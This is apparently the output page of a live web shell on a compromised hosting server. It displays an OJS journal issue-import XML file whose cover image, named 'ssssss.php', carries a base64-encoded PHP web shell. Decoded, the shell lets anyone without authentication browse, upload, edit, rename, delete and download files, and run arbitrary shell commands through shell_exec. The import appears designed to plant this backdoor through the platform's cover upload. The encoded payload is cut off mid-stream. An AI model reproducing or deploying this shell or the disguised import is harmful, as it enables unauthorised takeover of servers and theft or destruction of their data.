Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/iscmbt-kufa-atu/files_iscmbt/temp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iscmbt-kufa-atu/files_iscmbt/temp/xmllFpxi5
<?xml version="1.0" encoding="UTF-8"?>
<issues xmlns="http://pkp.sfu.ca"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://pkp.sfu.ca http://pkp.sfu.ca/ojs/schema/native.xsd">
        
  <issue published="1" current="1" access_status="1">
    <description locale="en_US">&lt;p&gt;Issue description&lt;/p&gt;</description>
    <issue_identification>
      <volume>01</volume>
      <number>10</number>
      <year>2025</year>
      <title locale="en_US">sssssssssssss</title>
    </issue_identification>
    <last_modified>2025-09-18</last_modified>

    <!-- PERBAIKAN: cover dibungkus dengan covers -->
    <covers>
      <cover locale="en_US">
        <cover_image>ssssss.php</cover_image>
        <cover_image_alt_text>Issue Cover</cover_image_alt_text>
        <embed encoding="base64">DQo8P3BocA0KLy8gU2ltcGxlIFNoZWxsIHRhbnBhIHByb3Rla3NpDQovLyBMYW5nc3VuZyBha3NlcyB0YW5wYSBhdXRoZW50aWNhdGlvbg0KDQovLyBTZXQgY3VycmVudCBkaXJlY3RvcnkNCiRkaXIgPSBpc3NldCgkX0dFVFsnZGlyJ10pID8gJF9HRVRbJ2RpciddIDogJy4nOw0KaWYgKCFyZWFscGF0aCgkZGlyKSkgJGRpciA9ICcuJzsNCiRjdXJyZW50X3BhdGggPSByZWFscGF0aCgkZGlyKTsNCg0KLy8gSGFuZGxlIGZpbGUgb3BlcmF0aW9ucw0KaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkpIHsNCiAgICBzd2l0Y2ggKCRfR0VUWydhY3Rpb24nXSkgew0KICAgICAgICBjYXNlICd2aWV3JzoNCiAgICAgICAgICAgICRmaWxlID0gJGRpciAuICcvJyAuICRfR0VUWydmaWxlJ107DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpICYmIGlzX2ZpbGUoJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCiAgICAgICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCiAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2RlbGV0ZSc6DQogICAgICAgICAgICAkZmlsZSA9ICRkaXIgLiAnLycgLiAkX0dFVFsnZmlsZSddOw0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgew0KICAgICAgICAgICAgICAgIGlmIChpc19maWxlKCRmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICB1bmxpbmsoJGZpbGUpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgIHJtZGlyKCRmaWxlKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoJGRpcikpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgY2FzZSAnZG93bmxvYWQnOg0KICAgICAgICAgICAgJGZpbGUgPSAkZGlyIC4gJy8nIC4gJF9HRVRbJ2ZpbGUnXTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkgJiYgaXNfZmlsZSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy5iYXNlbmFtZSgkZmlsZSkuJyInKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsNCiAgICAgICAgICAgICAgICByZWFkZmlsZSgkZmlsZSk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgIH0NCn0NCg0KaWYgKGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pKSB7DQogICAgc3dpdGNoICgkX1BPU1RbJ2FjdGlvbiddKSB7DQogICAgICAgIGNhc2UgJ3VwbG9hZCc6DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9GSUxFU1snZmlsZSddKSkgew0KICAgICAgICAgICAgICAgICR0YXJnZXRfZmlsZSA9ICRkaXIgLiAnLycgLiBiYXNlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7DQogICAgICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAi4pyFIEZpbGUgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5IjsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLinYwgVXBsb2FkIGZhaWxlZCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2NyZWF0ZV9mb2xkZXInOg0KICAgICAgICAgICAgJGZvbGRlcl9uYW1lID0gdHJpbSgkX1BPU1RbJ2ZvbGRlcl9uYW1lJ10pOw0KICAgICAgICAgICAgaWYgKCRmb2xkZXJfbmFtZSAmJiAhZmlsZV9leGlzdHMoJGRpciAuICcvJyAuICRmb2xkZXJfbmFtZSkpIHsNCiAgICAgICAgICAgICAgICBta2RpcigkZGlyIC4gJy8nIC4gJGZvbGRlcl9uYW1lLCAwNzU1LCB0cnVlKTsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLinIUgRm9sZGVyIGNyZWF0ZWQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3JlbmFtZSc6DQogICAgICAgICAgICAkb2xkX3BhdGggPSAkZGlyIC4gJy8nIC4gJF9QT1NUWydvbGRfbmFtZSddOw0KICAgICAgICAgICAgJG5ld19wYXRoID0gJGRpciAuICcvJyAuICRfUE9TVFsnbmV3X25hbWUnXTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkb2xkX3BhdGgpICYmICFmaWxlX2V4aXN0cygkbmV3X3BhdGgpKSB7DQogICAgICAgICAgICAgICAgcmVuYW1lKCRvbGRfcGF0aCwgJG5ld19wYXRoKTsNCiAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLinIUgUmVuYW1lZCBzdWNjZXNzZnVsbHkiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2VkaXQnOg0KICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGRpciAuICcvJyAuICRfUE9TVFsnZmlsZV9uYW1lJ10sICRfUE9TVFsnY29udGVudCddKTsNCiAgICAgICAgICAgICRtZXNzYWdlID0gIuKchSBGaWxlIHNhdmVkIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdjb21tYW5kJzoNCiAgICAgICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCdjZCAiJyAuICRkaXIgLiAnIiAmJiAnIC4gJF9QT1NUWydjb21tYW5kJ10gLiAnIDI+JjEnKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgIH0NCiAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoJGRpcikpOw0KICAgIGV4aXQ7DQp9DQoNCi8vIEdldCBkaXJlY3RvcnkgY29udGVudHMNCiRmaWxlcyA9IFtdOw0KaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRkaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSAhPSAiLiIgJiYgJGVudHJ5ICE9ICIuLiIpIHsNCiAgICAgICAgICAgICRmdWxsX3BhdGggPSAkZGlyIC4gJy8nIC4gJGVudHJ5Ow0KICAgICAgICAgICAgJGZpbGVzW10gPSBbDQogICAgICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICAgICAnaXNfZGlyJyA9PiBpc19kaXIoJGZ1bGxfcGF0aCksDQogICAgICAgICAgICAgICAgJ3NpemUnID0+IGlzX2ZpbGUoJGZ1bGxfcGF0aCkgPyBmaWxlc2l6ZSgkZnVsbF9wYXRoKSA6IDAsDQogICAgICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBmaWxlbXRpbWUoJGZ1bGxfcGF0aCksDQogICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCkNCiAgICAgICAgICAgIF07DQogICAgICAgIH0NCiAgICB9DQogICAgY2xvc2VkaXIoJGhhbmRsZSk7DQp9DQoNCi8vIFNvcnQ6IGRpcmVjdG9yaWVzIGZpcnN0LCB0aGVuIGZpbGVzDQp1c29ydCgkZmlsZXMsIGZ1bmN0aW9uKCRhLCAkYikgew0KICAgIGlmICgkYVsnaXNfZGlyJ10gJiYgISRiWydpc19kaXInXSkgcmV0dXJuIC0xOw0KICAgIGlmICghJGFbJ2lzX2RpciddICYmICRiWydpc19kaXInXSkgcmV0dXJuIDE7DQogICAgcmV0dXJuIHN0cmNhc2VjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7DQp9KTsNCj8+DQoNCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCiAgICA8dGl0bGU+8J+agCBQdWJsaWMgRmlsZSBNYW5hZ2VyPC90aXRsZT4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNi4wLjAvY3NzL2FsbC5taW4uY3NzIj4NCiAgICA8c3R5bGU+DQogICAgICAgICogeyANCiAgICAgICAgICAgIG1hcmdpbjogMDsgDQogICAgICAgICAgICBwYWRkaW5nOiAwOyANCiAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7IA0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBib2R5IHsgDQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjZjVmN2ZhLCAjYzNjZmUyKTsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsICdTZWdvZSBVSScsIHNhbnMtc2VyaWY7DQogICAgICAgICAgICBjb2xvcjogIzMzMzsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgICAgICBwYWRkaW5nOiAwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaW9zLWNvbnRhaW5lciB7DQogICAgICAgICAgICBtYXgtd2lkdGg6IDgwMHB4Ow0KICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB3aGl0ZTsNCiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoOw0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDUwcHggcmdiYSgwLDAsMCwwLjEpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaGVhZGVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICMwMDdBRkYsICM1ODU2RDYpOw0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgcGFkZGluZzogMzBweCAyMHB4IDIwcHg7DQogICAgICAgICAgICBwb3NpdGlvbjogc3RpY2t5Ow0KICAgICAgICAgICAgdG9wOiAwOw0KICAgICAgICAgICAgei1pbmRleDogMTAwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuaGVhZGVyIGgxIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjhweDsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA1cHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5icmVhZGNydW1iIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICAgICAgICAgIG9wYWNpdHk6IDAuOTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5icmVhZGNydW1iIGEgew0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAgICAgICAgICAgdHJhbnNpdGlvbjogb3BhY2l0eSAwLjNzOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnJlYWRjcnVtYiBhOmhvdmVyIHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDAuODsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtZ3JpZCB7DQogICAgICAgICAgICBkaXNwbGF5OiBncmlkOw0KICAgICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoYXV0by1maWxsLCBtaW5tYXgoMTUwcHgsIDFmcikpOw0KICAgICAgICAgICAgZ2FwOiAxNXB4Ow0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtaXRlbSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB3aGl0ZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDE2cHg7DQogICAgICAgICAgICBwYWRkaW5nOiAyMHB4IDE1cHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YwZjBmMDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgNHB4IDE1cHggcmdiYSgwLDAsMCwwLjA1KTsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWl0ZW06aG92ZXIgew0KICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01cHgpOw0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCA4cHggMjVweCByZ2JhKDAsMCwwLDAuMSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLWl0ZW0uZm9sZGVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICM3NGI5ZmYsICMwOTg0ZTMpOw0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZmlsZS1pdGVtLmZpbGUgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgI2RmZTZlOSwgI2IyYmVjMyk7DQogICAgICAgICAgICBjb2xvcjogIzMzMzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZpbGUtaWNvbiB7DQogICAgICAgICAgICBmb250LXNpemU6IDQwcHg7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5maWxlLW5hbWUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsNCiAgICAgICAgICAgIHdvcmQtYnJlYWs6IGJyZWFrLXdvcmQ7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMS4zOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZmlsZS1pbmZvIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTFweDsNCiAgICAgICAgICAgIG9wYWNpdHk6IDAuODsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDVweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRvb2xiYXIgew0KICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgYm90dG9tOiAyMHB4Ow0KICAgICAgICAgICAgcmlnaHQ6IDIwcHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgZ2FwOiAxMHB4Ow0KICAgICAgICAgICAgei1pbmRleDogMTAwMDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRvb2wtYnRuIHsNCiAgICAgICAgICAgIHdpZHRoOiA2MHB4Ow0KICAgICAgICAgICAgaGVpZ2h0OiA2MHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOw0KICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzAwN0FGRiwgIzU4NTZENik7DQogICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7DQogICAgICAgICAgICBmb250LXNpemU6IDIwcHg7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIDhweCAyNXB4IHJnYmEoMCwxMjIsMjU1LDAuMyk7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnRvb2wtYnRuOmhvdmVyIHsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4xKTsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMTJweCAzMHB4IHJnYmEoMCwxMjIsMjU1LDAuNCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5tb2RhbCB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lOw0KICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOw0KICAgICAgICAgICAgdG9wOiAwOw0KICAgICAgICAgICAgbGVmdDogMDsNCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOw0KICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgei1pbmRleDogMjAwMDsNCiAgICAgICAgICAgIGJhY2tkcm9wLWZpbHRlcjogYmx1cig1cHgpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtY29udGVudCB7DQogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgICAgICAgICB0b3A6IDUwJTsNCiAgICAgICAgICAgIGxlZnQ6IDUwJTsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOw0KICAgICAgICAgICAgYmFja2dyb3VuZDogd2hpdGU7DQogICAgICAgICAgICBwYWRkaW5nOiAzMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMjBweDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMjBweCA2MHB4IHJnYmEoMCwwLDAsMC4yKTsNCiAgICAgICAgICAgIG1heC13aWR0aDogNDAwcHg7DQogICAgICAgICAgICB3aWR0aDogOTAlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwgaDMgew0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsNCiAgICAgICAgICAgIGNvbG9yOiAjMzMzOw0KICAgICAgICAgICAgZm9udC1zaXplOiAyMnB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwgaW5wdXQsIC5tb2RhbCB0ZXh0YXJlYSB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjZjBmMGYwOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTJweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBib3JkZXItY29sb3IgMC4zczsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsIGlucHV0OmZvY3VzLCAubW9kYWwgdGV4dGFyZWE6Zm9jdXMgew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDA3QUZGOw0KICAgICAgICAgICAgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmJ0biB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3QUZGOw0KICAgICAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgcGFkZGluZzogMTJweCAyNXB4Ow0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTJweDsNCiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTZweDsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYnRuOmhvdmVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDU2Q0M7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5idG4tc2Vjb25kYXJ5IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICM4RThFOTM7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5tZXNzYWdlIHsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsNCiAgICAgICAgICAgIHRvcDogMjBweDsNCiAgICAgICAgICAgIHJpZ2h0OiAyMHB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZDogIzRDRDk2NDsNCiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMjVweDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEycHg7DQogICAgICAgICAgICBib3gtc2hhZG93OiAwIDhweCAyNXB4IHJnYmEoNzYsMjE3LDEwMCwwLjMpOw0KICAgICAgICAgICAgei1pbmRleDogMzAwMDsNCiAgICAgICAgICAgIGFuaW1hdGlvbjogc2xpZGVJbiAwLjNzIGVhc2U7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIEBrZXlmcmFtZXMgc2xpZGVJbiB7DQogICAgICAgICAgICBmcm9tIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDEwMCUpOyBvcGFjaXR5OiAwOyB9DQogICAgICAgICAgICB0byB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWCgwKTsgb3BhY2l0eTogMTsgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuY29udGV4dC1tZW51IHsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTJweDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMTBweCA0MHB4IHJnYmEoMCwwLDAsMC4xKTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMDsNCiAgICAgICAgICAgIHotaW5kZXg6IDQwMDA7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuY29udGV4dC1pdGVtIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEycHggMjBweDsNCiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmNvbnRleHQtaXRlbTpob3ZlciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjBmMGYwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAudGVybWluYWwtb3V0cHV0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMWE7DQogICAgICAgICAgICBjb2xvcjogIzAwZmYwMDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMnB4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCAnTWVubG8nLCBtb25vc3BhY2U7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICBtYXgtaGVpZ2h0OiAyMDBweDsNCiAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87DQogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsNCiAgICAgICAgfQ0KICAgIDwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCiAgICA8ZGl2IGNsYXNzPSJpb3MtY29udGFpbmVyIj4NCiAgICAgICAgPCEtLSBIZWFkZXIgLS0+DQogICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlciI+DQogICAgICAgICAgICA8aDE+8J+TsSBQdWJsaWMgRmlsZSBNYW5hZ2VyPC9oMT4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJyZWFkY3J1bWIiPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgJHBhdGhfcGFydHMgPSBbXTsNCiAgICAgICAgICAgICAgICAkY3VycmVudCA9ICRjdXJyZW50X3BhdGg7DQogICAgICAgICAgICAgICAgd2hpbGUgKCRjdXJyZW50ICE9ICcvJyAmJiAkY3VycmVudCAhPSAnLicpIHsNCiAgICAgICAgICAgICAgICAgICAgJHBhdGhfcGFydHNbXSA9IFsnbmFtZScgPT4gYmFzZW5hbWUoJGN1cnJlbnQpLCAncGF0aCcgPT4gJGN1cnJlbnRdOw0KICAgICAgICAgICAgICAgICAgICAkY3VycmVudCA9IGRpcm5hbWUoJGN1cnJlbnQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcGF0aF9wYXJ0c1tdID0gWyduYW1lJyA9PiAnUm9vdCcsICdwYXRoJyA9PiAnLiddOw0KICAgICAgICAgICAgICAgICRwYXRoX3BhcnRzID0gYXJyYXlfcmV2ZXJzZSgkcGF0aF9wYXJ0cyk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHBhdGhfcGFydHMgYXMgJGluZGV4ID0+ICRwYXJ0KSB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkaW5kZXggPiAwKSBlY2hvICcgPiAnOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGluZGV4IDwgY291bnQoJHBhdGhfcGFydHMpIC0gMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj